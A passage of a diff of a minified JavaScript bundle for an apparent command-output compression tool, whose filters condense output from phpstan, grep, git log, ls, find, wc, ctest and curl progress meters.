- `).trim();if(!t.startsWith("{"))return e;let n;try{n=JSON.parse(t)}catch{return e}if(!n||typeof n!="object"||!n.files||typeof n.files!="object")return e;let r=Object.keys(n.files),o=JR(r),s=r.reduce((a,l)=>a+(n.files[l].messages?.length??0),0),i=[`phpstan: ${s} error${s===1?"":"s"} in ${r.length} file${r.length===1?"":"s"}${o?` under ${o}`:""}`];for(let a of r){let l=n.files[a].messages??[];i.push(`${a.slice(o.length)} (${l.length})`);for(let c of l){let u=typeof c.line=="number"?`:${c.line}`:":?",f=typeof c.tip=="string"&&c.tip?` \u2014 ${c.tip}`:"";i.push(` ${u} ${String(c.message??"")}${f}`)}}for(let a of Array.isArray(n.errors)?n.errors:[])i.push(`error: ${String(a)}`);return i}var lh=y(()=>{"use strict";Te();K("smart-phpstan",GR)});function WR(e){if(!e.some(n=>yc.test(n)))return e;let t=[];for(let n=0;n<e.length;n+=1){let r=e[n];yc.test(r)||ZR.test(r)&&!yc.test(e[n+1]??"")&&!KR.test(r)||t.push(r)}return t}var ZR,yc,KR,ch=y(()=>{"use strict";Te();No();ZR=/^\d+ \| /,yc=/^\s+\^\s*$/,KR=new RegExp(`${je.source}|\\*\\*\\*|Exception|FAIL|ERROR`);K("bun-frames",WR)});function eA(e){let t=e.split("\r").filter(n=>n.trim()!=="");return t.length>0&&t.every(n=>YR.test(n))}function tA(e){let t=e.some(r=>XR.test(r)),n=[];for(let r=0;r<e.length;r+=1){let o=e[r];if(VR.test(o)){let s=r+1;for(qR.test(e[s]??"")&&(s+=1);eA(e[s]??"");)s+=1;r=s-1;continue}t&&QR.test(o)||n.push(o)}return n}var VR,qR,YR,XR,QR,uh=y(()=>{"use strict";Te();VR=/^\s*% Total\s+% Received\s+% Xferd\s+Average Speed/,qR=/^\s+Dload\s+Upload\s+Total\s+Spent\s+Left\s+Speed/,YR=/^\s*\d+\s+[\d.]+[kMGTP]?\s+\d+\s+[\d.]+[kMGTP]?\s+\d+\s+[\d.]+[kMGTP]?\s+[\d.]+[kMGTP]?\s+[\d.]+[kMGTP]?\s+[-\d:]+\s+[-\d:]+\s+[-\d:]+\s+[\d.]+[kMGTP]?\s*$/,XR=/^\* (?:Trying |Connected to |Host .* was resolved|Connection #\d+|IPv[46]:|Uses proxy)|^> [A-Z]+ \S+ HTTP\/[\d.]+\s*$|^< HTTP\/[\d.]+ \d{3}/,QR=/^(?:\* |[<>] (?:[A-Za-z][\w-]*: .*|[A-Z]+ \S+ HTTP\/[\d.]+|HTTP\/[\d.]+ .*)$|[<>]\s?$|[{}] \[\d+ bytes data\])/;K("curl-progress",tA)});function ph(e,t=!1){let n=t?e.trimEnd():e.trim();return n.length>fh?`${n.slice(0,fh)}\u2026`:n}function oA(e){let t=[],n="";for(let r of e){let o=n?`${n}, ${r}`:r;o.length>=rA&&n?(t.push(`${n},`),n=r):n=o}return n&&t.push(n),t}function sA(e){let t=null;for(let n of e){let r=n.split("/").slice(0,-1);if(t===null){t=r;continue}let o=0;for(;o<t.length&&o<r.length&&t[o]===r[o];)o+=1;if(t=t.slice(0,o),t.length===0)return""}return t?t.join("/"):""}function yh(e){return e.includes("/")||e.includes("\\")||/\.[A-Za-z][\w-]*$/.test(e)}function iA(e,t,n){return/^\d+$/.test(e)?!1:yh(e)?!0:(t||n)&&/^[\w.-]+$/.test(e)}function aA(e){let t=0,n=0;for(let r of e){let o=(mh.exec(r)??gh.exec(r)??hh.exec(r))?.[1];o&&(n+=1,yh(o)&&(t+=1))}return t>=2&&t*2>n}function kh(e,t={}){let n=e.filter(m=>m.trim()!=="");if(n.length===0)return e;let r=aA(n),o=new Map,s=new Map,i=null,a=0,l=0,c=null;for(let m of n){if(m==="--"){i&&o.get(i).push({separator:!0});continue}if(/^[A-Za-z]:[\\/]/.test(m))return e;let _=mh.exec(m),S=gh.exec(m);if(_&&S)return e;let E=_||S?null:hh.exec(m),R=(_??S??E)?.[1];if(!R||!iA(R,!!_,r))return e;let I=_?{line:_[2],content:_[3],context:!1}:S?{line:S[2],content:S[3],context:!0}:{line:"",content:E[2],context:!1},A=o.get(R)??[];A.push(I),o.set(R,A);let $=I.line?Number(I.line):NaN,D=t.astGrep&&R===i&&c!==null&&$===c+1;(t.astGrep?!D:!I.context)&&(a+=1,s.set(R,(s.get(R)??0)+1)),c=t.astGrep&&Number.isFinite($)?$:null,l+=1,i=R}if(o.size===l)return e;let u=[...o.keys()].sort((m,_)=>{let S=dh.test(m)?1:0,E=dh.test(_)?1:0;return S-E||(m<_?-1:m>_?1:0)}),f=u.length>1?sA(u):"",d=m=>f?m.slice(f.length+1):m,p=[];for(let m of u){p.push(`${d(m)} (${s.get(m)??0}):`);for(let _ of o.get(m))"separator"in _?p.push(" --"):_.line?p.push(` ${_.line}${_.context?"-":":"} ${ph(_.content,t.astGrep)}`):p.push(` ${ph(_.content,t.astGrep)}`)}let g=u.length>1&&p.length>nA?oA(u.map(m=>`${d(m)} (${s.get(m)??0})`)):[],h=[`${a}m ${u.length}f${f?` in ${f}/`:""}:`,...g,"",...p];if(h.length>kc){let m=h.length-kc;return[...h.slice(0,kc),`\u2026 ${m} more lines omitted`]}return h}var kc,fh,nA,rA,mh,gh,hh,dh,bh=y(()=>{"use strict";Te();uh();kc=1e3,fh=200,nA=60,rA=190,mh=/^([^\s:]+):(\d+):(.*)$/,gh=/^([^:]+?)-(\d+)-(.*)$/,hh=/^([^\s:]+):(.*)$/,dh=/(?:^|\/)(?:__tests__|tests?|spec|fixtures?|__mocks__|__snapshots__)\/|\.(?:test|spec)\.[^/]+$/i;K("smart-grep",kh);K("smart-grep-ast",e=>kh(e,{astGrep:!0}))});function kA(e){let t=[];for(let l=0;l<e.length;l+=1){let c=_h.exec(e[l]);if(!c)continue;let u=l+1,f=null;e[u]?.startsWith("Merge: ")&&(f=e[u].slice(7),u+=1);let d=pA.exec(e[u]??""),p=mA.exec(e[u+1]??"");if(!d||!p)return null;let g=gA.indexOf(p[1])+1;if(g===0)return null;t.push({at:l,hash:c[1].slice(0,hA),refs:c[2]??"",merge:f,author:d[1],date:`${p[4]}-${String(g).padStart(2,"0")}-${p[2].padStart(2,"0")} ${p[3]}`,zone:p[5],end:u+2})}if(t.length===0)return null;let n=[...new Set(t.map(l=>l.author))],r=n.length===1&&t.length>1?n[0]:null,o=n.length>1&&n.length<=yA&&t.length>n.length,s=t.length>1&&t.every(l=>l.zone===t[0].zone)?t[0].zone:null,i=r?[`author: ${r}`]:o?[`authors: ${n.map((l,c)=>`[${c+1}] ${l}`).join("; ")}`]:[];s&&i.push(`dates: UTC${s}`);let a=0;for(let l of t){i.push(...e.slice(a,l.at));let c=r?"":o?` [${n.indexOf(l.author)+1}]`:` ${l.author}`;i.push(`${l.hash} ${l.date}${s?"":` ${l.zone}`}${c}${l.merge?` merge ${l.merge}`:""}${l.refs}`),a=l.end}return i.push(...e.slice(a)),i}function bA(e){if(!e.some(r=>wh.test(r)))return e;let t=e.some(r=>_h.test(r))&&!e.some(r=>/^[|\\/*]/.test(r)),n=wA(e,t?dA:fA);return kA(n)??n}function wA(e,t){let n=[],r=0,o=0,s=0,i="",a=!1,l=!1,c=()=>{o>0&&n.push(`${i} \u2026 ${o} ${o===1?"line":"lines"} folded \u2026`),o=0};for(let u of e){let f=u.slice(0,s),d=lA.test(f),p=d?u.slice(s):u,g=cA.test(p),h=a&&g?null:wh.exec(u);if(h){c(),r=0,s=h[1]?.length??0,a=!0,l=!1,n.push(u);continue}if(/^diff --(?:git|cc|combined) /.test(p)&&(l=!0),g&&!l&&!(s>0&&p.trim().length===0)){if(uA.test(p)){n.push(u);continue}r+=1,r<=t?n.push(u):(o+=1,i=d?f:"");continue}c(),n.push(u)}return c(),n}var wh,lA,cA,uA,fA,dA,_h,pA,mA,gA,hA,yA,Sh=y(()=>{"use strict";Te();wh=/^(?:([|\\/ ._-]*\*[|\\/* ._-]* ))?commit [0-9a-f]{7,40}\b/,lA=/^[|\\/* ._-]*$/,cA=/^ {4}/,uA=/^ {4}(?:Co-[Aa]uthored-[Bb]y|Signed-off-by|Reviewed-by|Acked-by|Tested-by|Reported-by|Fixes|Closes):/,fA=2,dA=1,_h=/^commit ([0-9a-f]{40})(\s.*)?$/,pA=/^Author:\s+(.+)$/,mA=/^Date:\s+(?:[A-Z][a-z]{2} )?([A-Z][a-z]{2}) +(\d{1,2}) (\d{2}:\d{2}):\d{2} (\d{4}) ([+-]\d{4})$/,gA=["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],hA=12,yA=5;K("smart-log",bA)});var _A,SA,xA,xh=y(()=>{"use strict";Te();_A=/^[\s=]+$/,SA=/^\s*=+\s+(.*?)\s+=+\s*$/,xA=512;K("strip-banners",e=>{let t=[];for(let n of e){if(_A.test(n))continue;let r=n.length<=xA?SA.exec(n):null;t.push(r?r[1]:n)}return t})});function vA(e){let t=[],n=0,r=0;for(;r<e.length;){let o=e[r].replace(/\s+$/,"");if(o===""){n+=1,r+=1,n<=1&&t.push("");continue}n=0;let s=1;for(;r+s<e.length&&e[r+s].replace(/\s+$/,"")===o;)s+=1;if(s>=3)t.push(o),t.push(` \u2026 (repeated ${s}x)`);else for(let i=0;i<s;i++)t.push(o);r+=s}for(;t.length>0&&t[t.length-1]==="";)t.pop();return t}var vh=y(()=>{"use strict";Te();K("squeeze-output",vA)});function EA(e){return e==="compact"?.6:e==="minimal"?.3:1}function RA(e){let[t,n,r,o]=e.slice(-4);if(!t||!n||!r||!o||!/^\s*Test Files\s+([1-9]\d*) passed \(\1\)$/.test(t)||!/^\s*Tests\s+([1-9]\d*) passed \(\1\)$/.test(n)||!/^\s*Start at\s+\d{2}:\d{2}:\d{2}$/.test(r))return e;let s=/^(\s*Duration\s+\d+(?:\.\d+)?(?:ms|s)) \(transform [^\n]+\)$/.exec(o)?.[1];return s?[...e.slice(0,-4).filter((a,l)=>l>2||!/^ RUN v\d+\.\d+\.\d+(?:[\w.+-]*) .+$/.test(a)),t,n,s]:e}function AA(e){let t=Eh.get(e);if(t)return t;let n=e.strip_lines_matching.map(s=>new RegExp(s)),r=(e.drop_lines_matching??[]).map(s=>new RegExp(s)),o={def:e,stripRegexes:n,dropRegexes:r};return Eh.set(e,o),o}function bc(e){return!!e&&$A.test(e)}function wc(e,t,n){if(e==="smart-ls")return mc(t,n);let r=qg(e);return r?r(t):t}function Ei(e,t,n={}){return _c(e,t,n).text}function _c(e,t,n={}){let r=n.verbosity??"normal";if(!t.strip_ansi&&t.strip_lines_matching.length===0&&(t.drop_lines_matching??[]).length===0&&!t.transform&&!t.mask_abs_paths&&!t.fold_passing&&!t.truncate_lines_at&&!t.max_lines&&!t.on_empty&&!n.smartCode&&r==="normal")return{text:e,droppedTail:null};let o=AA(t),s=!t.preserve_exact&&e.includes(`\r
99
+ `).length?i:null}function EA(e){if(!e)return!1;let t=/(?:^|[\s;&|(])ls(?=\s|$)([^|;&]*)/.exec(e);if(!t)return!1;for(let n of t[1].trim().split(/\s+/)){if(n==="--")break;if(/^--(?:sort|reverse|time)(?:=|$)/.test(n)||/^-[A-Za-z0-9]+$/.test(n)&&/[tSUfrvX]/.test(n))return!0}return!1}function bh(e){let t=new Map;for(let o of e)t.set(o.mode,(t.get(o.mode)??0)+1);let n=null,r=0;for(let[o,s]of t)s>r&&([n,r]=[o,s]);return r>=2?n:null}function Rc(e,t){if(EA(t))return e;let n=xA(e);if(n)return n;let r=[],o=[],s=!1;for(let p of e){if(p.trim()===""||/^total\s+\d+/.test(p))continue;if(_h.test(p.trim())||!wh.test(p))return e;let w=yA(p);if(!w){if(/\s\.\.?$/.test(p))continue;return e}s=!0,(w.isDir?r:o).push(w)}if(!s)return e;let i=(p,w)=>p.name.localeCompare(w.name);r.sort(i),o.sort((p,w)=>w.sizeKey-p.sizeKey||i(p,w));let a=[...r,...o],l=a.every(p=>p.owner===a[0].owner)?a[0].owner:null,c=bh(r),u=bh(o),f=[];for(let p of a){let w=p.isDir?c:u,x=`${p.mode===w?"":`${p.mode} `}${l===null?`${p.owner} `:""}${p.isDir?`${p.name}/`:p.name}`;f.push(p.isDir?x:`${x} ${p.size}`)}if(f.length>Tc){let p=f.length-Tc;f=[...f.slice(0,Tc),`\u2026 ${p} more lines omitted`]}let d=o.length===1?"file":"files",m=r.length===1?"dir":"dirs",g=kA(o),h=`${o.length} ${d}, ${r.length} ${m}`+(g?` (${g})`:"")+(l===null?"":`, owner ${l.replace(" ",":")}`)+(c||u?`, mode ${[c&&`dirs ${c}`,u&&`files ${u}`].filter(Boolean).join(", ")} unless shown`:"");return f.push(h),f}var wh,_h,dA,mA,pA,Tc,bA,wA,_A,Sh=y(()=>{"use strict";Te();wh=/^[dbclps\-][rwxsStT\-]{9}[@.+]?(?:\s|$)/,_h=/^[./~][^\s]*:$/,dA=String.raw`(?:[^\s\d]{3,}\s+\d{1,2}|\d{1,2}\s+[^\s\d]{3,})\s+(?:\d{1,2}:\d{2}|\d{4})|\d{4}-\d{2}-\d{2}\s+\d{2}:\d{2}(?::\d{2}(?:\.\d+)?)?(?:\s+[+-]\d{4})?`,mA=new RegExp(String.raw`^(\S+)\s+\d+\s+(\S+(?:\s+\S+)??)\s+(\d+(?:[.,]\d+)?[KMGTPkmgtp]?i?B?)\s+(?:${dA})\s+(.+)$`),pA={k:1,m:2,g:3,t:4,p:5},Tc=1e3;bA=12,wA=3,_A=180;W("smart-ls",Rc)});var xh=y(()=>{"use strict";dr();Te();W("smart-read",e=>Ho(e))});function vA(e){let t=e[0].split("/");for(let n of e.slice(1)){let r=n.split("/"),o=0;for(;o<t.length&&o<r.length&&t[o]===r[o];)o+=1;if(t=t.slice(0,o),t.length===0)break}return t.join("/")}function TA(e){if(e.length<2||e.some(o=>o.startsWith('"')))return"";let t=e[0];for(let o of e.slice(1)){let s=0;for(;s<t.length&&s<o.length&&t[t.length-1-s]===o[o.length-1-s];)s+=1;if(t=t.slice(t.length-s),!t)return""}let n=t.indexOf("."),r=n<0?"":t.slice(n);return r.length>=3&&e.every(o=>o.length>r.length)?r:""}function RA(e){let t=e.filter(c=>c.trim()!=="");if(t.length===0||t.filter(c=>!/\s/.test(c.trim())).length<t.length*.6)return e;let r=new Map,o=[],s=0;for(let c of t){let u=c.trim();if(u.startsWith("find:")){o.push(u);continue}let f=u.replace(/^\.\//,"").replace(/\/+$/,""),d=f.lastIndexOf("/"),m=d>0?f.slice(0,d):d===0?"/":"",g=d>=0?f.slice(d+1):f;if(!g)continue;let h=r.get(m)??[];h.push(/\s/.test(g)?`"${g}"`:g),r.set(m,h),s+=1}if(s===0)return e;let i=[...r.keys()].sort(),a=i.every(c=>c!=="")&&!i.includes("/")?vA(i):"",l=[`${s}F ${i.length}D${a?` in ${a}/`:""}:`];for(let c of i){let u=c==="/"?"/":a?c.slice(a.length).replace(/^\//,""):c,f=r.get(c),d=TA(f),m=d?f.map(g=>g.slice(0,-d.length)):f;l.push(`${u==="/"?"/":u?`${u}/`:"./"} (${f.length}${d?`, *${d}`:""}): ${m.join(" ")}`)}if(l.length+o.length>Eh){let c=Math.max(0,Eh-o.length),u=l.length-c;return[...l.slice(0,c),`\u2026 ${u} more lines omitted`,...o]}return[...l,...o]}var Eh,vh=y(()=>{"use strict";Te();Eh=1e3;W("smart-find",RA)});function $A(e){let t=[];for(let i of e){if(i.trim()==="")continue;let a=AA.exec(i);if(!a)return e;t.push({counts:a[1].replace(/\s+/g," "),path:a[2]})}let n=t.filter(i=>i.path!=="total");if(n.length<2)return t.length?t.map(i=>`${i.counts} ${i.path}`):e;let r=n.map(i=>i.path.includes("/")?i.path.slice(0,i.path.lastIndexOf("/")+1):""),o=r[0];for(let i of r)for(;o&&!i.startsWith(o);)o=o.slice(0,o.slice(0,-1).lastIndexOf("/")+1);let s=o?[`in ${o}:`]:[];for(let i of t)s.push(`${i.counts} ${i.path!=="total"&&o?i.path.slice(o.length):i.path}`);return s}var AA,Th=y(()=>{"use strict";Te();AA=/^\s*(\d+(?:\s+\d+){0,3})\s+(\S.*)$/;W("smart-wc",$A)});function IA(e){let t=[];for(let n=0;n<e.length;n+=1){let r=1;for(;n+r<e.length&&e[n+r]===e[n];)r+=1;t.push(r>1?`${e[n]} \xD7${r}`:e[n]),n+=r-1}return t}function PA(e){if(e.length<=Ac+$c+1)return e;let t=e.slice(Ac,-$c),n=t.filter(o=>OA.test(o)),r=t.length-n.length;return r===0?e:[...e.slice(0,Ac),...n,`\u2026 ${r} more lines omitted`,...e.slice(-$c)]}function NA(e){if(!e.some(o=>Rh.test(o)))return e;let t=[],n=[],r=()=>{t.push(...PA(IA(n))),n=[]};for(let o=0;o<e.length;o+=1){let s=e[o];if(CA.test(s))return r(),t.push(...e.slice(o)),t;if(Rh.test(s)){r(),t.push(s);continue}n.push(s)}return r(),t}var Rh,CA,OA,Ac,$c,Ah=y(()=>{"use strict";Te();Lo();Rh=/^\s*\d+\/\d+ Test\s+#\s*\d+: \S+ \.{2,}/,CA=/^\d+% tests passed, \d+ tests? failed out of \d+$/,OA=new RegExp(`${je.source}|\\*\\*\\*|Exception|FAIL|ERROR`),Ac=3,$c=8;W("smart-ctest",NA)});function MA(e){if(e.length<2)return"";let t=e[0].slice(0,e[0].lastIndexOf("/")+1);for(let n of e)for(;t&&!n.startsWith(t);)t=t.slice(0,t.slice(0,-1).lastIndexOf("/")+1);return t}function DA(e){let t=e.join(`
100
+ `).trim();if(!t.startsWith("{"))return e;let n;try{n=JSON.parse(t)}catch{return e}if(!n||typeof n!="object"||!n.files||typeof n.files!="object")return e;let r=Object.keys(n.files),o=MA(r),s=r.reduce((a,l)=>a+(n.files[l].messages?.length??0),0),i=[`phpstan: ${s} error${s===1?"":"s"} in ${r.length} file${r.length===1?"":"s"}${o?` under ${o}`:""}`];for(let a of r){let l=n.files[a].messages??[];i.push(`${a.slice(o.length)} (${l.length})`);for(let c of l){let u=typeof c.line=="number"?`:${c.line}`:":?",f=typeof c.tip=="string"&&c.tip?` \u2014 ${c.tip}`:"";i.push(` ${u} ${String(c.message??"")}${f}`)}}for(let a of Array.isArray(n.errors)?n.errors:[])i.push(`error: ${String(a)}`);return i}var $h=y(()=>{"use strict";Te();W("smart-phpstan",DA)});function HA(e){if(!e.some(n=>Cc.test(n)))return e;let t=[];for(let n=0;n<e.length;n+=1){let r=e[n];Cc.test(r)||FA.test(r)&&!Cc.test(e[n+1]??"")&&!LA.test(r)||t.push(r)}return t}var FA,Cc,LA,Ch=y(()=>{"use strict";Te();Lo();FA=/^\d+ \| /,Cc=/^\s+\^\s*$/,LA=new RegExp(`${je.source}|\\*\\*\\*|Exception|FAIL|ERROR`);W("bun-frames",HA)});function GA(e){let t=e.split("\r").filter(n=>n.trim()!=="");return t.length>0&&t.every(n=>zA.test(n))}function ZA(e){let t=e.some(r=>UA.test(r)),n=[];for(let r=0;r<e.length;r+=1){let o=e[r];if(jA.test(o)){let s=r+1;for(BA.test(e[s]??"")&&(s+=1);GA(e[s]??"");)s+=1;r=s-1;continue}t&&JA.test(o)||n.push(o)}return n}var jA,BA,zA,UA,JA,Oh=y(()=>{"use strict";Te();jA=/^\s*% Total\s+% Received\s+% Xferd\s+Average Speed/,BA=/^\s+Dload\s+Upload\s+Total\s+Spent\s+Left\s+Speed/,zA=/^\s*\d+\s+[\d.]+[kMGTP]?\s+\d+\s+[\d.]+[kMGTP]?\s+\d+\s+[\d.]+[kMGTP]?\s+[\d.]+[kMGTP]?\s+[\d.]+[kMGTP]?\s+[-\d:]+\s+[-\d:]+\s+[-\d:]+\s+[\d.]+[kMGTP]?\s*$/,UA=/^\* (?:Trying |Connected to |Host .* was resolved|Connection #\d+|IPv[46]:|Uses proxy)|^> [A-Z]+ \S+ HTTP\/[\d.]+\s*$|^< HTTP\/[\d.]+ \d{3}/,JA=/^(?:\* |[<>] (?:[A-Za-z][\w-]*: .*|[A-Z]+ \S+ HTTP\/[\d.]+|HTTP\/[\d.]+ .*)$|[<>]\s?$|[{}] \[\d+ bytes data\])/;W("curl-progress",ZA)});function Nh(e,t=!1){let n=t?e.trimEnd():e.trim();return n.length>Ih?`${n.slice(0,Ih)}\u2026`:n}function VA(e){let t=[],n="";for(let r of e){let o=n?`${n}, ${r}`:r;o.length>=WA&&n?(t.push(`${n},`),n=r):n=o}return n&&t.push(n),t}function qA(e){let t=null;for(let n of e){let r=n.split("/").slice(0,-1);if(t===null){t=r;continue}let o=0;for(;o<t.length&&o<r.length&&t[o]===r[o];)o+=1;if(t=t.slice(0,o),t.length===0)return""}return t?t.join("/"):""}function Lh(e){return e.includes("/")||e.includes("\\")||/\.[A-Za-z][\w-]*$/.test(e)}function YA(e,t,n){return/^\d+$/.test(e)?!1:Lh(e)?!0:(t||n)&&/^[\w.-]+$/.test(e)}function XA(e){let t=0,n=0;for(let r of e){let o=(Mh.exec(r)??Dh.exec(r)??Fh.exec(r))?.[1];o&&(n+=1,Lh(o)&&(t+=1))}return t>=2&&t*2>n}function Hh(e,t={}){let n=e.filter(p=>p.trim()!=="");if(n.length===0)return e;let r=XA(n),o=new Map,s=new Map,i=null,a=0,l=0,c=null;for(let p of n){if(p==="--"){i&&o.get(i).push({separator:!0});continue}if(/^[A-Za-z]:[\\/]/.test(p))return e;let w=Mh.exec(p),S=Dh.exec(p);if(w&&S)return e;let x=w||S?null:Fh.exec(p),T=(w??S??x)?.[1];if(!T||!YA(T,!!w,r))return e;let A=w?{line:w[2],content:w[3],context:!1}:S?{line:S[2],content:S[3],context:!0}:{line:"",content:x[2],context:!1},M=o.get(T)??[];M.push(A),o.set(T,M);let I=A.line?Number(A.line):NaN,H=t.astGrep&&T===i&&c!==null&&I===c+1;(t.astGrep?!H:!A.context)&&(a+=1,s.set(T,(s.get(T)??0)+1)),c=t.astGrep&&Number.isFinite(I)?I:null,l+=1,i=T}if(o.size===l)return e;let u=[...o.keys()].sort((p,w)=>{let S=Ph.test(p)?1:0,x=Ph.test(w)?1:0;return S-x||(p<w?-1:p>w?1:0)}),f=u.length>1?qA(u):"",d=p=>f?p.slice(f.length+1):p,m=[];for(let p of u){m.push(`${d(p)} (${s.get(p)??0}):`);for(let w of o.get(p))"separator"in w?m.push(" --"):w.line?m.push(` ${w.line}${w.context?"-":":"} ${Nh(w.content,t.astGrep)}`):m.push(` ${Nh(w.content,t.astGrep)}`)}let g=u.length>1&&m.length>KA?VA(u.map(p=>`${d(p)} (${s.get(p)??0})`)):[],h=[`${a}m ${u.length}f${f?` in ${f}/`:""}:`,...g,"",...m];if(h.length>Oc){let p=h.length-Oc;return[...h.slice(0,Oc),`\u2026 ${p} more lines omitted`]}return h}var Oc,Ih,KA,WA,Mh,Dh,Fh,Ph,jh=y(()=>{"use strict";Te();Oh();Oc=1e3,Ih=200,KA=60,WA=190,Mh=/^([^\s:]+):(\d+):(.*)$/,Dh=/^([^:]+?)-(\d+)-(.*)$/,Fh=/^([^\s:]+):(.*)$/,Ph=/(?:^|\/)(?:__tests__|tests?|spec|fixtures?|__mocks__|__snapshots__)\/|\.(?:test|spec)\.[^/]+$/i;W("smart-grep",Hh);W("smart-grep-ast",e=>Hh(e,{astGrep:!0}))});function c$(e){let t=[];for(let l=0;l<e.length;l+=1){let c=zh.exec(e[l]);if(!c)continue;let u=l+1,f=null;e[u]?.startsWith("Merge: ")&&(f=e[u].slice(7),u+=1);let d=o$.exec(e[u]??""),m=s$.exec(e[u+1]??"");if(!d||!m)return null;let g=i$.indexOf(m[1])+1;if(g===0)return null;t.push({at:l,hash:c[1].slice(0,a$),refs:c[2]??"",merge:f,author:d[1],date:`${m[4]}-${String(g).padStart(2,"0")}-${m[2].padStart(2,"0")} ${m[3]}`,zone:m[5],end:u+2})}if(t.length===0)return null;let n=[...new Set(t.map(l=>l.author))],r=n.length===1&&t.length>1?n[0]:null,o=n.length>1&&n.length<=l$&&t.length>n.length,s=t.length>1&&t.every(l=>l.zone===t[0].zone)?t[0].zone:null,i=r?[`author: ${r}`]:o?[`authors: ${n.map((l,c)=>`[${c+1}] ${l}`).join("; ")}`]:[];s&&i.push(`dates: UTC${s}`);let a=0;for(let l of t){i.push(...e.slice(a,l.at));let c=r?"":o?` [${n.indexOf(l.author)+1}]`:` ${l.author}`;i.push(`${l.hash} ${l.date}${s?"":` ${l.zone}`}${c}${l.merge?` merge ${l.merge}`:""}${l.refs}`),a=l.end}return i.push(...e.slice(a)),i}function u$(e){if(!e.some(r=>Bh.test(r)))return e;let t=e.some(r=>zh.test(r))&&!e.some(r=>/^[|\\/*]/.test(r)),n=f$(e,t?r$:n$);return c$(n)??n}function f$(e,t){let n=[],r=0,o=0,s=0,i="",a=!1,l=!1,c=()=>{o>0&&n.push(`${i} \u2026 ${o} ${o===1?"line":"lines"} folded \u2026`),o=0};for(let u of e){let f=u.slice(0,s),d=QA.test(f),m=d?u.slice(s):u,g=e$.test(m),h=a&&g?null:Bh.exec(u);if(h){c(),r=0,s=h[1]?.length??0,a=!0,l=!1,n.push(u);continue}if(/^diff --(?:git|cc|combined) /.test(m)&&(l=!0),g&&!l&&!(s>0&&m.trim().length===0)){if(t$.test(m)){n.push(u);continue}r+=1,r<=t?n.push(u):(o+=1,i=d?f:"");continue}c(),n.push(u)}return c(),n}var Bh,QA,e$,t$,n$,r$,zh,o$,s$,i$,a$,l$,Uh=y(()=>{"use strict";Te();Bh=/^(?:([|\\/ ._-]*\*[|\\/* ._-]* ))?commit [0-9a-f]{7,40}\b/,QA=/^[|\\/* ._-]*$/,e$=/^ {4}/,t$=/^ {4}(?:Co-[Aa]uthored-[Bb]y|Signed-off-by|Reviewed-by|Acked-by|Tested-by|Reported-by|Fixes|Closes):/,n$=2,r$=1,zh=/^commit ([0-9a-f]{40})(\s.*)?$/,o$=/^Author:\s+(.+)$/,s$=/^Date:\s+(?:[A-Z][a-z]{2} )?([A-Z][a-z]{2}) +(\d{1,2}) (\d{2}:\d{2}):\d{2} (\d{4}) ([+-]\d{4})$/,i$=["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],a$=12,l$=5;W("smart-log",u$)});var d$,m$,p$,Jh=y(()=>{"use strict";Te();d$=/^[\s=]+$/,m$=/^\s*=+\s+(.*?)\s+=+\s*$/,p$=512;W("strip-banners",e=>{let t=[];for(let n of e){if(d$.test(n))continue;let r=n.length<=p$?m$.exec(n):null;t.push(r?r[1]:n)}return t})});function g$(e){let t=[],n=0,r=0;for(;r<e.length;){let o=e[r].trimEnd();if(o===""){n+=1,r+=1,n<=1&&t.push("");continue}n=0;let s=1;for(;r+s<e.length&&e[r+s].trimEnd()===o;)s+=1;if(s>=3)t.push(o),t.push(` \u2026 (repeated ${s}x)`);else for(let i=0;i<s;i++)t.push(o);r+=s}for(;t.length>0&&t[t.length-1]==="";)t.pop();return t}var Gh=y(()=>{"use strict";Te();W("squeeze-output",g$)});function h$(e){return e==="compact"?.6:e==="minimal"?.3:1}function k$(e){let[t,n,r,o]=e.slice(-4);if(!t||!n||!r||!o||!/^\s*Test Files\s+([1-9]\d*) passed \(\1\)$/.test(t)||!/^\s*Tests\s+([1-9]\d*) passed \(\1\)$/.test(n)||!/^\s*Start at\s+\d{2}:\d{2}:\d{2}$/.test(r))return e;let s=/^(\s*Duration\s+\d+(?:\.\d+)?(?:ms|s)) \(transform [^\n]+\)$/.exec(o)?.[1];return s?[...e.slice(0,-4).filter((a,l)=>l>2||!/^ RUN v\d+\.\d+\.\d+(?:[\w.+-]*) .+$/.test(a)),t,n,s]:e}function b$(e){let t=Zh.get(e);if(t)return t;let n=e.strip_lines_matching.map(s=>new RegExp(s)),r=(e.drop_lines_matching??[]).map(s=>new RegExp(s)),o={def:e,stripRegexes:n,dropRegexes:r};return Zh.set(e,o),o}function Ic(e){return!!e&&w$.test(e)}function Pc(e,t,n){if(e==="smart-ls")return Rc(t,n);let r=yh(e);return r?r(t):t}function Ai(e,t,n={}){return Nc(e,t,n).text}function Nc(e,t,n={}){let r=n.verbosity??"normal";if(!t.strip_ansi&&t.strip_lines_matching.length===0&&(t.drop_lines_matching??[]).length===0&&!t.transform&&!t.mask_abs_paths&&!t.fold_passing&&!t.truncate_lines_at&&!t.max_lines&&!t.on_empty&&!n.smartCode&&r==="normal")return{text:e,droppedTail:null};let o=b$(t),s=!t.preserve_exact&&e.includes(`\r
81
101
  `)?e.replace(/\r\n/g,`
82
- `):e;t.strip_ansi&&(s=ot(s));let i=s.endsWith(`
102
+ `):e;t.strip_ansi&&(s=st(s));let i=s.endsWith(`
83
103
  `),a=(i?s.slice(0,-1):s).split(`
84
- `);o.stripRegexes.length&&(a=t.keep_failures?a.filter(d=>je.test(d)||!o.stripRegexes.some(p=>p.test(d))):uc(a,o.stripRegexes)),o.dropRegexes.length&&(a=uc(a,o.dropRegexes)),r!=="normal"&&!t.preserve_exact&&(a=xi(a),a=Wg(a)),r==="minimal"&&!t.preserve_exact&&(a=Gg(a),(t.slug==="vitest"||t.slug==="npm-test")&&(a=RA(a)));let l=t.transform==="smart-read"&&n.smartCode!==!0?r==="compact"?8:r==="minimal"?6:3:3;!t.preserve_exact&&(n.smartCode||n.smartCode===void 0&&r!=="normal"&&Si(s))&&(a=Mo(a,l)),t.transform&&(t.transform==="smart-read"?a=Mo(a,l,t.slug==="read-tool"):a=wc(t.transform,a,n.cmd));let c=t.slug==="read-tool";if(!c){let d=dc(a);d.some(Boolean)&&(a=a.filter((p,g)=>!d[g]))}t.mask_abs_paths&&(a=Dg(a)),t.fold_passing&&(a=Mg(a,t.fold_passing_threshold??5)),t.truncate_lines_at&&(a=Pg(a,t.truncate_lines_at));let u=null;if(t.max_lines){let 